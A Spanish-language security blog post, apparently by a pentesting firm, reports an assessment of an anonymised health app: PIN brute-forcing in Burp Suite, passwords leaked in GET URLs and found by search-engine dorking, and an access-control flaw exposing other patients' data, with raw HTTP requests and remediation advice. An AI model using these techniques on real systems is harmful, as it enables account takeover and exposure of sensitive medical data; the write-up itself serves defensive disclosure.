Blog
dark mode light mode Search Archivos descargables
Search

¿Es HealthTech el nuevo objetivo de los cibercriminales?

HealthTech-Es-el-sector-salud-un-paraiso-para-los-hackers
HealthTech-Es-el-sector-salud-un-paraiso-para-los-hackers

Descubre cómo la digitalización en el sector salud ha mejorado la atención médica, pero también ha abierto la puerta a vulnerabilidades cibernéticas en plataformas HealthTech.

Las aplicaciones de HealthTech están en el centro de esta transformación, facilitando la gestión de datos médicos sensibles. Sin embargo, muchas de estas plataformas presentan vulnerabilidades críticas que las convierten en un blanco atractivo para los hackers.

En este artículo se abordará un caso particular, en la cual una aplicación sobre salud fue objeto de un análisis exhaustivo que reveló múltiples fallas de seguridad que permiten la observación y acceso no autorizado a datos de usuarios legítimos, incluyendo contenido extremadamente delicado como imágenes privadas de pacientes.

Se explorará en detalle vulnerabilidades identificadas, sus implicaciones para la seguridad de los datos en el sector salud y las medidas necesarias para mitigar estos riesgos en un entorno donde la protección de la información es de suma importancia.

Durante el análisis de esta aplicación, se identificaron dos cosas:

  1. La aplicación permite el envío masivo de solicitudes sin ningún control.
  2. La autenticación de la aplicación requiere únicamente una clave de 4 dígitos.

El primer punto se puede considerar como “Insufficient Protection Against Brute Forcing (CWE-287)” la cual es una vulnerabilidad que permite a un atacante enviar múltiples solicitudes desencadenando un ataque de fuerza bruta en el apartado de inicio de sesión y el segundo denominado como “Weak Password Policy (CWE-521)”, se presenta cuando la aplicación no establece una política de contraseñas robusta permitiéndole a un atacante identificar que la aplicación admite contraseñas de baja complejidad, por lo que existe la posibilidad de aprovecharse de las malas prácticas utilizadas por los usuarios. Teniendo lo anterior en cuenta, se procedió a realizar un ataque de fuerza bruta a través de Burp Suite sobre el panel de inicio de sesión para identificar cuentas de usuarios.

Ataque de fuerza bruta sobre panel de inicio de sesión.
Ataque de fuerza bruta sobre panel de inicio de sesión.

Cuando la longitud (length) de la respuesta es diferente a “843”, en este caso es porque se ha iniciado sesión con el payload (clave de 4 dígitos).

Pero además, se identificaron claves con tan solo de 3 dígitos.

Ataque de fuerza bruta y claves de 3 dígitos
Ataque de fuerza bruta y claves de 3 dígitos

Una de las solicitudes y su respectiva respuesta se vería de la siguiente manera.

HTTP Request:
POST /app-vulnerable/app.php HTTP/2
Host: www.app-vulnerable.net
User-Agent: [REDACTED]
Content-Type: text/xml
Connection: keep-alive
Content-Length: 393
Accept-Encoding: gzip, deflate, br


<v:Envelope xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:d="http://www.w3.org/2001/XMLSchema" xmlns:c="http://schemas.xmlsoap.org/soap/encoding/" xmlns:v="http://schemas.xmlsoap.org/soap/envelope/"><v:Header /><v:Body><n0:ExistePx id="o0" c:root="1" xmlns:n0="exist"><px i:type="d:string">1009</px><version i:type="d:string">2021</version></n0:exist></v:Body></v:Envelope>
HTTP Response:
HTTP/2 200 OK
Date: Fri, 24 Nov 2023 13:44:21 GMT
Content-Type: text/xml; charset=ISO-8859-1
X-Soap-Server: [REDACTED]
Cf-Cache-Status: DYNAMIC
Strict-Transport-Security: max-age=0; includeSubDomains; preload
X-Content-Type-Options: nosniff
Server: cloudflare
Cf-Ray: 8[REDACTED]1-GRU
Alt-Svc: h3=":443"; ma=86400


<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:existResponse xmlns:ns1="exist"><return xsi:type="xsd:String">{"p":"1009","u7":"1009","user":"167","name":"I[REDACTED]ia","name":"I[REDACTED]ia","block":"0","enabled":"1","foto":"","sexo":"0","empresa":"1"}</return></ns1:existResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

A través de estas dos vulnerabilidades, fue posible acceder a las cuentas de los usuarios y a su vez, a la información de estos. Por ejemplo, se identificaron fotos muy comprometedoras de los pacientes.

Acceso a información sensible de usuarios
Acceso a información sensible de usuarios

Por otro lado, se identificó una vulnerabilidad denominada como “Use of GET Request Method With Sensitive Query Strings (CWE-598)” que permitió acceder a la cuenta de un usuario a través de las contraseñas públicamente expuestas.

Durante el pentest, se identificó la siguiente solicitud la cual envía un texto como contraseña a través del método GET.

HTTP Request:
GET /action.php?q=imgList&t=user&all=1&p=1f[REDACTED]3d HTTP/2
Host: www.app-vulnerable.net
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: [REDACTED]
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.app-vulnerable.net/action.php?q=patient&p=1012
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9,en-US;q=0.8,en;q=0.7

Posteriormente, se usó el siguiente dork a través de Bing para identificar contraseñas de usuarios indexados.

Identificación de contraseña indexada en Bing.
Identificación de contraseña indexada en Bing.

Con la contraseña obtenida de un usuario, se pudo realizar la siguiente solicitud con la cual se pudo iniciar sesión.

HTTP Request:
POST /service/app.php HTTP/2
Host: www.app-vulnerable.net
User-Agent: [REDACTED]
Content-Type: text/xml
Connection: close
Content-Length: 402
Accept-Encoding: gzip, deflate, br


<v:Envelope xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:d="http://www.w3.org/2001/XMLSchema" xmlns:c="http://schemas.xmlsoap.org/soap/encoding/" xmlns:v="http://schemas.xmlsoap.org/soap/envelope/"><v:Header /><v:Body><n0:exist id="0" c:root="1" xmlns:n0="exist"><px i:type="d:string">w[REDACTED]z</px><version i:type="d:string">2021</version></n0:ExistePx></v:Body></v:Envelope>
HTTP Response:
HTTP/2 200 OK
Date: Wed, 29 Nov 2023 18:50:20 GMT
Content-Type: text/xml; charset=ISO-8859-1
X-[REDACTED]-Server: [REDACTED]
Cf-Cache-Status: DYNAMIC
Strict-Transport-Security: max-age=0; includeSubDomains; preload
X-Content-Type-Options: nosniff
Server: cloudflare
Cf-Ray: 82[REDACTED]MS
Alt-Svc: h3=":443"; ma=86400


<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:responseExists xmlns:ns1="exist"><return xsi:type="xsd:String">{"p":"15[REDACTED]87","u":"w[REDACTED]wz","user":"32699","name":"P[REDACTED]ero","name":"Jon[REDACTED]in","bloqueo":"0","enabled":"1","foto":"","sexo":"1","empresa":"1"}</return></ns1:existResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

Además, durante esta prueba se identificó la vulnerabilidad denominada como Missing Function Level Access Control. Debido a la falta de mecanismos de autorización, esta vulnerabilidad permitió obtener recursos de otros usuarios.

La solicitud para explotar la deficiencia se veía de la siguiente manera.

HTTP Request:
GET /action.php?q=images&t=p&a=1f[REDACTED]53d&l=50 HTTP/2
Host: www.app-vulnerable.net
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: [REDACTED]
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.app-vulnerable.net/action.php 
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9,en-US;q=0.8,en;q=0.7

El único parámetro relevante de la solicitud es “a”, porque incluso no fue necesario usar la cookie de sesión para obtener los datos de un usuario, además el valor del parámetro “a” actúa como “clave”. Debido a esto se reemplazó el valor del parámetro “a” en cada solicitud con otras “claves” de usuarios para acceder a su información.

A continuación se observa información de otros usuarios a través de esta vulnerabilidad. Se logró obtener esta información haciendo un reemplazo de nuestra “clave” con la de otro usuario:

Match And Replace para obtener información de otro usuario por cada solicitud
Match And Replace para obtener información de otro usuario por cada solicitud

Incluso fue posible observar información de los usuarios usando únicamente la clave de 4 dígitos.

 Información de usuario con clave 1010
Información de usuario con clave 1010

A través de esta deficiencia, también era posible interactuar con las cuentas, es decir: realizar acciones como eliminar y modificar información de otros usuarios.

Corrección de vulnerabilidad en HealthTech

A través de este artículo hemos visto varios componentes afectados de diversas formas; sin embargo, todo está ligado a los mecanismos de autenticación y autorización: cualquier usuario puede acceder a información de otro usuario porque no se limitan los accesos. 

Para abordar estás deficiencias podríamos llevar a cabo las siguientes implementaciones:

A continuación se comparte un código genérico para tener una base sobre la posible correcta autorización. En este caso se está usando un mecanismo más robusto de autorización como es el uso de JWT en comparación a una clave de cuatro dígitos:

const express = require('express');
const jwt = require('jsonwebtoken');
const dotenv = require('dotenv');


dotenv.config();
const app = express();
app.use(express.json());


const users = []; // Para propósitos de demostración


// Ruta para registro de usuario
app.post('/register', (req, res) => {
    const { username, password } = req.body;
    users.push({ username, password }); // Almacenar el usuario (no recomendado en producción)
    res.status(201).send('Usuario registrado');
});


// Ruta para iniciar sesión
app.post('/login', (req, res) => {
    const { username, password } = req.body;
    const user = users.find(u => u.username === username && u.password === password);
    
    if (user) {
        const token = jwt.sign({ username: user.username }, process.env.JWT_SECRET, { expiresIn: '1h' });
        return res.json({ token });
    }
    
    res.status(401).send('Credenciales incorrectas');
});


// Middleware para verificar el token
const authenticateToken = (req, res, next) => {
    const token = req.headers['authorization']?.split(' ')[1];
    
    if (!token) return res.sendStatus(401);


    jwt.verify(token, process.env.JWT_SECRET, (err, user) => {
        if (err) return res.sendStatus(403);
        req.user = user;
        next();
    });
};


// Ruta protegida
app.get('/protected', authenticateToken, (req, res) => {
    res.send(`Hola ${req.user.username}, tienes acceso a este recurso protegido.`);
});

Adicionalmente se recomienda lo siguiente:

  • Token de Acceso: Utilizado para autenticar solicitudes en aplicaciones o APIs, debe tener una duración corta (de 10 a 60 minutos) para minimizar riesgos en caso de compromisos. Permite un acceso eficiente a recursos protegidos.
  • Refresh Token: Con una duración más larga, se utiliza para obtener nuevos Tokens de Acceso sin necesidad de que el usuario vuelva a autenticarse, lo que mejora la seguridad y mantiene sesiones activas.

Flujo de Autenticación y Autorización:

  1. Inicio de Sesión: El usuario proporciona credenciales al sistema de autenticación.
  2. Emisión de Tokens: Se emiten un Token de Acceso y un Refresh Token tras validar las credenciales.
  3. Acceso a Recursos: El cliente usa el Token de Acceso para solicitar recursos protegidos.
  4. Verificación: El servidor verifica la validez del Token de Acceso con cada solicitud.
  5. Expiración del Token de Acceso: El cliente utiliza el Token hasta que expira.
  6. Renovación del Token de Acceso: Se usa el Refresh Token para obtener un nuevo Token de Acceso sin ingresar credenciales.
  7. Emisión de Nuevos Tokens: Si el Refresh Token es válido, se emiten nuevos tokens.
  8. Ciclo de Renovación: El proceso se repite para mantener la sesión activa.
  9. Re-autenticación Necesaria: Al expirar el Refresh Token o cerrar sesión, se requiere volver a autenticarse.

También se recomienda implementar una política de contraseñas robustas como las siguientes reglas.

  1. Longitud y Complejidad: Las contraseñas deben tener entre 8 y 14 caracteres e incluir:
    • Letras mayúsculas y minúsculas.
    • Números.
    • Caracteres especiales (e.g., !, @, #).
  2. Cambio Regular: Las contraseñas deben cambiarse cada 90 días y no reutilizar las últimas 8.
  3. Protección: No compartir contraseñas ni almacenarlas en texto plano.

Recomendaciones Adicionales:

  1. Autenticación de Dos Factores (2FA): Implementar 2FA para acceder a sistemas.
  2. Lista Negra de Contraseñas: Prohibir contraseñas comunes o comprometidas.
  3. Elementos Prohibidos: Evitar información personal en las contraseñas.

Por último, para limitar la cantidad de solicitudes realizadas en un corto intervalo de tiempo, se puede implementar soluciones como un CAPTCHA.

Alternativamente, el equipo de Hackmetrix recomienda implementar Rate Limit para controlar el número de solicitudes hechas hacia el servidor. Se pueden aplicar dos enfoques:

  • Rate Limit por Usuario: Límite específico de solicitudes por usuario, asegurando recursos equitativos.
  • Rate Limit por IP: Límite por dirección IP, previniendo abusos.

Algoritmos clave en HealthTech

  1. Token Bucket:
    • Permite ráfagas de solicitudes, con reposición de tokens a lo largo del tiempo.
    • Ejemplo: Hasta 5 solicitudes inmediatas, 1 token cada 15 minutos.
    • Ventaja: Flexibilidad; Desventaja: Complejidad en la implementación.
  2. Fixed Window Counter:
    • Cuenta solicitudes en ventanas fijas (e.g., por hora).
    • Ejemplo: Máximo de 10 solicitudes por hora.
    • Ventaja: Sencillo; Desventaja: No maneja ráfagas.

Implementación en Plataformas

  • AWS: API Gateway con Token Bucket.
  • Google Cloud: API Gateway y Cloud Armor.
  • Microsoft Azure: API Management con ambos algoritmos.
  • Cloudflare: Control de tasa avanzado.
  • Nginx: Token Bucket y Leaky Bucket.

Estas medidas buscan fortalecer la seguridad de las cuentas y proteger datos sensibles contra accesos no autorizados, así como también reducir el impacto sobre la gran cantidad de solicitudes realizadas a un servidor en un intervalo corto de tiempo.

Conclusión

Si bien la mayor parte de lo mostrado podría tratarse de mecanismos de autenticación y autorización robustos, podríamos también validar este tipo de mecanismos en otros ambientes. En este caso la exposición de esta información puede conllevar a una falta de confianza no solamente en la aplicación sino también en las diferentes plataformas de salud que puedan contener vulnerabilidades similares y que permitan obtener información sensible de sus pacientes.

Por eso, para evitar que cibercriminales exploten estas vulnerabilidades, debes estar un paso adelante para identificarlas y corregirlas antes que que ellos. En hackmetrix tenemos hackers expertos que pueden ayudarte a dar este paso adelante con un pentesting o ethical hacking, donde encontrarán debilidades como la de este artículo y te ayudaran a solucionar para mejorar tu seguridad y la de los datos de tus clientes.

Otras vulnerabilidades que te gustaría conocer y prevenir:

demo hackmetrix

Escrito por: Juan David Fernández 

Appsec Engineer en Hackmetrix